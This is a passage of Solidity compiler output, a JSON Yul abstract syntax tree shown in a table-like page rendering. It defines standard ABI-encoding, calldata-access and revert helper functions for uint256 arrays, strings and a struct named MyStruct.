"nodeType": "YulFunctionCall", | |
"src": "12047:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "12047:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "11969:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "11977:66:1", | |
"type": "", | |
"value": "0x07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "11966:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11966:78:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "11963:165:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "12137:27:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "12151:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "12159:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "mul", | |
"nodeType": "YulIdentifier", | |
"src": "12147:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12147:17:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "12137:6:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "start", | |
"nodeType": "YulIdentifier", | |
"src": "12198:5:1" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "12205:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "12210:6:1" | |
} | |
], | |
"functionName": { | |
"name": "copy_calldata_to_memory", | |
"nodeType": "YulIdentifier", | |
"src": "12174:23:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12174:43:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "12174:43:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "12226:23:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "12237:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "12242:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "12233:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12233:16:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "12226:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encode_t_array$_t_uint256_$dyn_calldata_ptr_to_t_array$_t_uint256_$dyn_memory_ptr_fromStack", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "start", | |
"nodeType": "YulTypedName", | |
"src": "11823:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "11830:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "11838:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "11846:3:1", | |
"type": "" | |
} | |
], | |
"src": "11718:537:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "12350:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "12367:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "12370:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "12360:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12360:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "12360:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_0803104b3ab68501accf02de57372b8e5e6e1582158b771d3f89279dc6822fe2", | |
"nodeType": "YulFunctionDefinition", | |
"src": "12261:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "12473:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "12490:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "12493:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "12483:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12483:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "12483:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_3894daff73bdbb8963c284e167b207f7abade3c031c50828ea230a16bdbc0f20", | |
"nodeType": "YulFunctionDefinition", | |
"src": "12384:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "12596:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "12613:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "12616:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "12606:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12606:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "12606:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_db64ea6d4a12deece376118739de8d9f517a2db5b58ea2ca332ea908c04c71d4", | |
"nodeType": "YulFunctionDefinition", | |
"src": "12507:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "12709:633:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "12719:43:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "ptr", | |
"nodeType": "YulIdentifier", | |
"src": "12758:3:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "12745:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12745:17:1" | |
}, | |
"variables": [ | |
{ | |
"name": "rel_offset_of_tail", | |
"nodeType": "YulTypedName", | |
"src": "12723:18:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "12856:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_db64ea6d4a12deece376118739de8d9f517a2db5b58ea2ca332ea908c04c71d4", | |
"nodeType": "YulIdentifier", | |
"src": "12858:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12858:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "12858:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "rel_offset_of_tail", | |
"nodeType": "YulIdentifier", | |
"src": "12785:18:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [], | |
"functionName": { | |
"name": "calldatasize", | |
"nodeType": "YulIdentifier", | |
"src": "12813:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12813:14:1" | |
}, | |
{ | |
"name": "base_ref", | |
"nodeType": "YulIdentifier", | |
"src": "12829:8:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "12809:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12809:29:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "12844:4:1", | |
"type": "", | |
"value": "0x20" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "12850:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "12840:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12840:12:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "12805:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12805:48:1" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "12781:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12781:73:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "12774:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12774:81:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "12771:168:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "12948:42:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "rel_offset_of_tail", | |
"nodeType": "YulIdentifier", | |
"src": "12961:18:1" | |
}, | |
{ | |
"name": "base_ref", | |
"nodeType": "YulIdentifier", | |
"src": "12981:8:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "12957:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "12957:33:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "12948:5:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "13000:29:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "13023:5:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "13010:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13010:19:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "13000:6:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "13038:25:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "13051:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "13058:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "13047:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13047:16:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "13038:5:1" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "13106:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_0803104b3ab68501accf02de57372b8e5e6e1582158b771d3f89279dc6822fe2", | |
"nodeType": "YulIdentifier", | |
"src": "13108:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13108:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "13108:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "13078:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "13086:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "13075:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13075:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "13072:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "13252:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_3894daff73bdbb8963c284e167b207f7abade3c031c50828ea230a16bdbc0f20", | |
"nodeType": "YulIdentifier", | |
"src": "13254:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13254:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "13254:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "13205:5:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [], | |
"functionName": { | |
"name": "calldatasize", | |
"nodeType": "YulIdentifier", | |
"src": "13216:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13216:14:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "13236:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "13244:4:1", | |
"type": "", | |
"value": "0x01" | |
} | |
], | |
"functionName": { | |
"name": "mul", | |
"nodeType": "YulIdentifier", | |
"src": "13232:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13232:17:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "13212:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13212:38:1" | |
} | |
], | |
"functionName": { | |
"name": "sgt", | |
"nodeType": "YulIdentifier", | |
"src": "13201:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13201:50:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "13198:137:1" | |
} | |
] | |
}, | |
"name": "calldata_access_t_string_calldata_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "base_ref", | |
"nodeType": "YulTypedName", | |
"src": "12677:8:1", | |
"type": "" | |
}, | |
{ | |
"name": "ptr", | |
"nodeType": "YulTypedName", | |
"src": "12687:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "12695:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "12702:6:1", | |
"type": "" | |
} | |
], | |
"src": "12630:712:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "13412:82:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "13435:3:1" | |
}, | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "13440:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "13445:6:1" | |
} | |
], | |
"functionName": { | |
"name": "calldatacopy", | |
"nodeType": "YulIdentifier", | |
"src": "13422:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13422:30:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "13422:30:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "13472:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "13477:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "13468:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13468:16:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "13486:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "13461:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13461:27:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "13461:27:1" | |
} | |
] | |
}, | |
"name": "copy_calldata_to_memory_with_cleanup", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "src", | |
"nodeType": "YulTypedName", | |
"src": "13394:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "dst", | |
"nodeType": "YulTypedName", | |
"src": "13399:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "13404:6:1", | |
"type": "" | |
} | |
], | |
"src": "13348:146:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "13616:205:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "13626:68:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "13682:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "13687:6:1" | |
} | |
], | |
"functionName": { | |
"name": "array_storeLengthForEncoding_t_string_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "13633:48:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13633:61:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "13626:3:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "start", | |
"nodeType": "YulIdentifier", | |
"src": "13741:5:1" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "13748:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "13753:6:1" | |
} | |
], | |
"functionName": { | |
"name": "copy_calldata_to_memory_with_cleanup", | |
"nodeType": "YulIdentifier", | |
"src": "13704:36:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13704:56:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "13704:56:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "13769:46:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "13780:3:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "13807:6:1" | |
} | |
], | |
"functionName": { | |
"name": "round_up_to_mul_of_32", | |
"nodeType": "YulIdentifier", | |
"src": "13785:21:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13785:29:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "13776:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "13776:39:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "13769:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encode_t_string_calldata_ptr_to_t_string_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "start", | |
"nodeType": "YulTypedName", | |
"src": "13589:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "13596:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "13604:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "13612:3:1", | |
"type": "" | |
} | |
], | |
"src": "13524:297:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "13910:28:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "13920:12:1", | |
"value": { | |
"name": "ptr", | |
"nodeType": "YulIdentifier", | |
"src": "13929:3:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "13920:5:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "calldata_access_t_array$_t_uint256_$2_calldata_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "baseRef", | |
"nodeType": "YulTypedName", | |
"src": "13887:7:1", | |
"type": "" | |
}, | |
{ | |
"name": "ptr", | |
"nodeType": "YulTypedName", | |
"src": "13896:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "13904:5:1", | |
"type": "" | |
} | |
], | |
"src": "13827:111:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "14079:57:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "start", | |
"nodeType": "YulIdentifier", | |
"src": "14113:5:1" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "14120:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "14125:4:1", | |
"type": "", | |
"value": "0x40" | |
} | |
], | |
"functionName": { | |
"name": "copy_calldata_to_memory", | |
"nodeType": "YulIdentifier", | |
"src": "14089:23:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14089:41:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "14089:41:1" | |
} | |
] | |
}, | |
"name": "abi_encode_t_array$_t_uint256_$2_calldata_ptr_to_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "start", | |
"nodeType": "YulTypedName", | |
"src": "14067:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "14074:3:1", | |
"type": "" | |
} | |
], | |
"src": "13976:160:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "14326:651:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "14336:26:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "14352:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "14357:4:1", | |
"type": "", | |
"value": "0x60" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "14348:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14348:14:1" | |
}, | |
"variables": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulTypedName", | |
"src": "14340:4:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "14372:304:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "14407:96:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "14479:5:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "14490:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "14497:4:1", | |
"type": "", | |
"value": "0x00" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "14486:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14486:16:1" | |
} | |
], | |
"functionName": { | |
"name": "calldata_access_t_string_calldata_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "14441:37:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14441:62:1" | |
}, | |
"variables": [ | |
{ | |
"name": "memberValue0", | |
"nodeType": "YulTypedName", | |
"src": "14411:12:1", | |
"type": "" | |
}, | |
{ | |
"name": "memberValue1", | |
"nodeType": "YulTypedName", | |
"src": "14425:12:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "14528:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "14533:4:1", | |
"type": "", | |
"value": "0x00" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "14524:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14524:14:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "14544:4:1" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "14550:3:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "14540:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14540:14:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "14517:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14517:38:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "14517:38:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "14568:97:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "memberValue0", | |
"nodeType": "YulIdentifier", | |
"src": "14632:12:1" | |
}, | |
{ | |
"name": "memberValue1", | |
"nodeType": "YulIdentifier", | |
"src": "14646:12:1" | |
}, | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "14660:4:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_string_calldata_ptr_to_t_string_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "14576:55:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14576:89:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "14568:4:1" | |
} | |
] | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "14686:264:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "14721:95:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "14792:5:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "14803:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "14810:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "14799:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14799:16:1" | |
} | |
], | |
"functionName": { | |
"name": "calldata_access_t_array$_t_uint256_$2_calldata_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "14741:50:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14741:75:1" | |
}, | |
"variables": [ | |
{ | |
"name": "memberValue0", | |
"nodeType": "YulTypedName", | |
"src": "14725:12:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "memberValue0", | |
"nodeType": "YulIdentifier", | |
"src": "14911:12:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "14929:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "14934:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "14925:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14925:14:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_array$_t_uint256_$2_calldata_ptr_to_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "14829:81:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "14829:111:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "14829:111:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "14960:11:1", | |
"value": { | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "14967:4:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "14960:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encode_t_struct$_MyStruct_$8_calldata_ptr_to_t_struct$_MyStruct_$8_memory_ptr_fromStack", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "14305:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "14312:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "14321:3:1", | |
"type": "" | |
} | |
], | |
"src": "14204:773:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "15273:581:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "15283:27:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "15295:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "15306:3:1", | |
"type": "", | |
"value": "128" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
